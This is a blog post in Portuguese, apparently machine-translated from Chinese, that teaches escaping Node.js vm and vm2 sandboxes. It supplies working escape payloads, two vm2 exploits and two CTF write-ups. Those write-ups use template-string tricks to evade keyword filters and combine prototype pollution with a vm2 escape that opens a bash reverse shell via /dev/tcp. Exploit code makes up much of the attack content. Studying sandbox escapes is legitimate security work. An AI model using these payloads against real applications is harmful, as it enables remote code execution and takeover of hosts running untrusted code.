Escape da caixa de areia NodeJS vm e vm2

Escape da caixa de areia NodeJS vm e vm2

O que é uma caixa de areia?

Antes de falar sobre escape de sandbox, precisamos entender o que é sandbox.

O sandbox é um 集装箱, coloque seu aplicativo no sandbox para rodar, de forma que haja um limite entre o aplicativo e o aplicativo, e eles não afetarão um ao outro.

Quando executamos alguns programas que podem causar danos, não podemos executá-los diretamente no host. Podemos criar um ambiente separado para a execução de código. Este ambiente é uma sandbox, que é isolada do host, mas usa os recursos do host. No entanto, a execução de código prejudicial na sandbox terá apenas algum impacto no interior da sandbox , não a funcionalidade do Host.

Docker é uma espécie de sandbox SandBox. Ao criar um ambiente operacional limitado para colocar o programa dentro, o programa fica preso pela fronteira, de modo que o programa e o programa, e o programa e o host ficam isolados um do outro.

Escopo do NodeJS

Quando escrevemos projetos Node, muitas vezes precisamos exigir outros arquivos js. Chamamos esses arquivos de pacotes. Os escopos entre os pacotes são isolados uns dos outros, ou seja, mesmo que tenhamos requirey1.js em y2.js, não podemos usar as variáveis ​​e funções em y1.js em y2.js. (No Node, o escopo é geralmente chamado de contexto)

Se quiser usá-lo, você deve usar exportsa interface para gerar elementos de arquivo neste nodeJS.

exports é a interface para exportar elementos de arquivo

por exemplo:

// y2.js
const file = require('./y1.js')
console.log(file.name)

// y1.js
let name = 'y1.js'


// 输出:undefined
// y2.js
const file = require('./y1.js')
console.log(file.name)

// y1.js
let name = 'y1.js' 
exports.name = name

// 输出:y1.js

Pode-se observar que após usarmos require para nos referirmos a outros arquivos, queremos utilizar as variáveis ​​neles. Uma das formas é utilizar o exportselemento para exportar

imagem-20230805104257865

Neste ponto, a relação entre os dois pacotes é como acima

objeto global global

Além do método acima, também podemos usar o escopo global, que é o objeto global global. Todos os outros atributos e pacotes no NodeJS são montados sob este objeto global, e algumas variáveis ​​globais são montadas sob o global, que global.xxxpode ser usado diretamente se o acessarmos de forma desnecessária. Por exemplo: consoleé uma variável global sob este global, podemos usá-la diretamente, processe também é uma variável global sob global (para ser usada ao escapar mais tarde)

Além das variáveis ​​globais integradas, também podemos usar globalpalavras-chave para declarar nós mesmos uma variável global

// 1.js
const file = require('./2.js')
console.log(name)

// 2.js
global.name = 'leekos'

// 输出:leekos

Pode-se ver que quando produzimos name, não precisamos usar a forma file.name, podemos usá- namelo diretamente para saída e namenão precisamos usá exports-lo para exportação, porque o nome foi montado em o global neste momento, e seu escopo não está no bingo 2.js

módulo sandbox vm

Mencionamos o conceito de escopo (contexto) anteriormente. Se quisermos obter o efeito de isolamento do sandbox, podemos criar um novo escopo e deixar o código rodar nesse novo escopo, de modo que seja diferente de outras funções? O domínio é isolado, que é o princípio do módulo VM. Abaixo apresentamos as APIs de vários módulos VM:

vm.runInThisContext(código)

vm.runinThisContext(code): Crie um escopo (sandbox) no global atual e execute os parâmetros recebidos como código.

sandboxAs propriedades globais podem ser acessadas no sandbox, mas as propriedades de outros pacotes não podem ser acessadas. (não é possível acessar propriedades locais)

A relação entre eles é assim:

imagem-20230805111203380

Sandbox pode acessar globalpropriedades em , mas não pode acessar propriedades em xxx.js

// xxx.js
const vm = require('vm')
var local_var = 'leekos'
global.global_var = 'xxx global~'
var vm_var = vm.runInThisContext('global_var="vm_var";local_var="Tranquility";')
console.log("vm_var: "+vm_var)
console.log("local_var: "+local_var)
console.log(global_var)


/*
输出:
vm_var: Tranquility
local_var: leekos
vm_var
*/

Pode-se observar que vm.runInThisContext()um novo escopo é criado fora do escopo do arquivo atual, e o escopo está no escopo global

Neste momento vm.runInThisContext()e xxx.jsem um escopo diferente, o valor da variável local_var não pode ser alterado, mas por estar vm.runInThisContext()no escopo global, o valor de global_var pode ser alterado

vm.createContext([sandbox])

Antes de usá-lo, você precisa criar um objeto sandbox e, em seguida, passar o objeto sandbox para este método (caso contrário, um objeto sandbox vazio será gerado). A v8 cria outro escopo para este objeto sandbox fora do global atual, então neste Neste momento, o objeto sandbox é o objeto global deste escopo, e as propriedades no global não podem ser acessadas dentro do sandbox

vm.runInContext(código,contextificadoSandbox[,opções])

Os parâmetros são o código a ser executado e o contexto (objeto sandbox) onde o escopo é criado. O código será executado no contexto do objeto de entrada e sandbox , e o valor do parâmetro é igual ao valor do parâmetro em a caixa de areia

imagem-20230805115658208

const vm = require('vm')
global.global_var = 1
const sandbox = {
    
    global_var: 2} //创建一个沙箱对象
vm.createContext(sandbox)  //创建一个上下文对象
vm.runInContext('global_var*=2',sandbox)

console.log(sandbox)    // { global_var: 4 }
console.log(global_var) // 1

Este método de criação é vm.runInThisContext()diferente daquele porque globalo valor da variável global no sandbox não pode ser alterado e as propriedades no global não podem ser acessadas dentro do sandbox.

(Porque outro escopo é criado fora do global atual)

vm.runInNewContext(code[,sandbox][,options])

Esta função é uma versão combinada de createContext()and runInContext(), passando o código a ser executado e o objeto sandbox

classe vm.Script

vm.Script类Instâncias do tipo vm.Script contêm vários scripts pré-compilados que podem ser executados em uma sandbox (ou contexto) específico.

novo vm.Script (código, opções)

new vm.Script(code, options): criar um novo objeto vm.Script apenas compila o código, mas não o executa. O vm.Script compilado pode então ser executado várias vezes. É importante notar que o código não está vinculado a nenhum objeto global; em vez disso, ele está vinculado apenas ao objeto que o executa a cada vez . código: código JavaScript a ser analisado

const vm = require('vm')
const sandbox = {
    
    animal: 'cat',count: 1}
const script = new vm.Script('count += 1; name = "Tom";') // 编译code
const context = vm.createContext(sandbox) // 创建一个上下文对象
script.runInContext(context)  // 在指定的上下文中执行code并返回结果

console.log(sandbox) // { animal: 'cat', count: 2, name: 'Tom' }

O objeto de script pode ser executado por meio de runInXXXContext

A razão pela qual vm pode escapar é porque o acesso contexta atributos externos constructore __proto__outros atributos não é interceptado

Como executar o escape do sandbox vm?

Geralmente executamos o escape do sandbox e terminamos com o RCE, então o RCE no NodeJS requer o uso de processvariáveis ​​​​globais.Depois de obter o objeto do processo, podemos usá -lo requirepara importar child_processe usá-lo para executar comandos

Por exemplo:

console.log(process.mainModule.require('child_process').execSync('whoami').toString())

// leekos\like

Mas processestá montado global, como dissemos acima, createContext()não pode ser acessado posteriormente global, então nosso objetivo final é introduzir o processo global na sandbox por meio de vários métodos

A ideia principal do escape é como obter o processo da variável global global externa. O módulo VM é muito impreciso. Com base nas características da herança da cadeia de protótipos do nó, podemos facilmente obter variáveis ​​globais externas. Veja um código de escape simples:

const vm = require("vm");
const a = vm.runInNewContext(`this.constructor.constructor('return global')()`);
console.log(a.process);

imagem-20230805132012924

Então, como conseguimos escapar? Em primeiro lugar, thisele aponta para runInNewContext()o objeto para o qual é passado atualmente. Este objeto não pertence ao ambiente sandbox . Obtemos seu construtor por meio deste objeto e, em seguida, obtemos um construtor do objeto construtor (neste momento Function) constructore o o último ()é chamar a função gerada Functionpor este usuário e, finalmente, retornar um objetoconstructorglobal

Em NodeJs, backticks representam strings de modelo, então aqui:

`this.constructor.constructor('return global')()`

Equivale a passar essa string para runInNewContext, neste momento a string não é executada, mas sim passada como parâmetro para runInNewContextexecução

this.toString.constructor('return global')()

Esta forma de escrever também pode retornar globalobjetos

imagem-20230805133456961

Portanto, podemos escapar do sandbox vm assim:

const vm = require("vm");
const ps = vm.runInNewContext(`this.constructor.constructor('return process')()`);
console.log(ps.mainModule.require('child_process').execSync('whoami').toString());

// leekos\like

No Node.js, process.mainModule.requireé uma forma de obter o módulo principal, mas child_process.execSyncuma função para executar comandos de forma síncrona, aqui para executar whoamio comando

escape da caixa de areia vm2

O efeito de isolamento do módulo VM pode ser considerado muito fraco. Portanto, os desenvolvedores melhoraram nesta base e lançaram o módulo vm2. O módulo vm2 também pode escapar.

Comparado com vm, vm2 tem muitas restrições. Um deles é a introdução do novo recurso de proxy do es6. Adicione algumas regras para restringir constructora função e __proto__o acesso a esses atributos. O proxy pode ser considerado uma interceptação de proxy, escrevendo um mecanismo para filtrar ou reescrever o acesso externo.

const {
    
    VM, VMScript} = require('vm2');

const script = new VMScript("let a = 2;a;");

console.log((new VM()).run(script));

VMÉ uma máquina virtual encapsulada por vm2 com base em vm, só precisamos chamar o método run nela após a instanciação para executar um script.

Então, o que o vm2 faz quando executa essas duas linhas de código:

imagem-20230805135858452

A versão do vm2 foi atualizada e iterada. Muitas versões históricas de explorações de escape no github,

Anexe o link: Issues patriksimek/vm2 GitHub ,

exp1:

"use strict";
const {
    
    VM} = require('vm2');
const untrusted = '(' + function(){
    
    
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
    
    
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
    
    
		return e.get_process(()=>{
    
    }).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
    
    
	console.log(new VM().run(untrusted));
}catch(x){
    
    
	console.log(x);
}

exp2:

"use strict";
const {
    
    VM} = require('vm2');
const untrusted = '(' + function(){
    
    
	try{
    
    
		Buffer.from(new Proxy({
    
    }, {
    
    
			getOwnPropertyDescriptor(){
    
    
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
    
    
		return e(()=>{
    
    }).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
    
    
	console.log(new VM().run(untrusted));
}catch(x){
    
    
	console.log(x);
}

Quanto à análise do princípio de escape de , leia diretamente o artigo de Daniel.vm2

A seguir, podemos fazer um tópico para sentir

[HFCTF2020]JustEscape

imagem-20230805141140791

Avisando que /run.phppodemos executar o código, visitamos:

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    
    
    $code = $_GET['code'];
    echo eval(code);
} else {
    
    
    highlight_file(__FILE__);
}
?>

Depois de tentar, descobri que essa sequência de códigos é inútil, serve para confundir as pessoas

Pensaremos neste momento, não apenas a função eval() em php, mas também a função eval() em nodejs

Podemos usar Error().stackpara obter a mensagem de erro no nodejs

imagem-20230805142036500

Na verdade, vm2 é usado, então em seguida precisamos escapar da sandbox vm2, usamos o exp pronto:

(function(){
    
    
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
    
    
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
    
    
        return e.get_process(()=>{
    
    }).mainModule.require("child_process").execSync("cat /flag").toString();
    }
})()

Mas muitas palavras-chave são filtradas, precisamos saber um ponto de conhecimento:

Cadeia de modelos NodeJS

Por exemplo:

console.log(`prototype`)            //prototype
console.log(`${
      
      `prototyp`}e`)       //prototype
console.log(`${
      
      `${ 
        `prototyp`}e`}`)  //prototype

A filtragem de strings é ignorada desta forma aninhada:

(function (){
    
    
    TypeError[`${
      
      `${ 
        `prototyp`}e`}`][`${
      
      `${ 
        `get_proces`}s`}`] = f=>f[`${
      
      `${ 
        `constructo`}r`}`](`${
      
      `${ 
        `return this.proces`}s`}`)();
    try{
    
    
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
    
    
        return e[`${
      
      `${ 
        `get_proces`}s`}`](()=>{
    
    }).mainModule[`${
      
      `${ 
        `requir`}e`}`](`${
      
      `${ 
        `child_proces`}s`}`)[`${
      
      `${ 
        `exe`}cSync`}`](`cat /flag`).toString();
    }
})()

Quando as palavras-chave do método ou do nome da propriedade do objeto são filtradas, você pode usar a chamada de array para ignorar as restrições de palavras-chave

Existe outra maneira de contornar o uso de arrays:

imagem-20230805143045471

[HZNUCTF 2023 final] nó ez

Visite: /app.jsobtenha o código-fonte:


const express = require('express');
const app = express();
const {
    
     VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
    
    
    try {
    
    
        new VM().run({
    
    }.shellcode);  //我们需要通过原型链污染shellcode
    } catch (e) {
    
    
        console.log(e);
    }
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
    
      //	
    for (var attr in b) {
    
    
        if (isObject(a[attr]) && isObject(b[attr])) {
    
    
            merge(a[attr], b[attr]);
        } else {
    
    
            a[attr] = b[attr];
        }
    }
    return a
}
const clone = (a) => {
    
    
    return merge({
    
    }, a);
}


app.get('/', function (req, res) {
    
    
    res.send("POST some json shit to /.  no source code and try to find source code");
});

app.post('/', function (req, res) {
    
    
    try {
    
    
        console.log(req.body)
        var body = JSON.parse(JSON.stringify(req.body));
        var copybody = clone(body)
        if (copybody.shit) {
    
    
            backdoor()
        }
        res.send("post shit ok")
    }catch(e){
    
    
        res.send("is it shit ?")
        console.log(e)
    }
})

app.listen(3000, function () {
    
    
    console.log('start listening on port 3000');
});

A chamada de função aqui merge()pode causar uma vulnerabilidade de poluição da cadeia de protótipo, e shellcodeo valor da poluição vmé o código que escapa da sandbox

A poluição da cadeia do protótipo Vm2 leva ao escape da sandbox poc:

let res = import('./app.js')
res.toString.constructor("return this")().process.mainModule.require("child_process").execSync("whoami").toString();
{
    
    "shit":"shit",
 "__proto__":{
    
    
     "shellcode":"let res = import('./app.js'); res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"
 }
} 
imagem-20230805151916269

imagem-20230805151928661

referência

https://xz.aliyun.com/t/11859#toc-0

https://xilitter.github.io/2023/01/31/vm%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E5%88%9D%E6% 8E%A2/index.html

Acho que você gosta

Origin blog.csdn.net/qq_61839115/article/details/132120985
Recomendado
Clasificación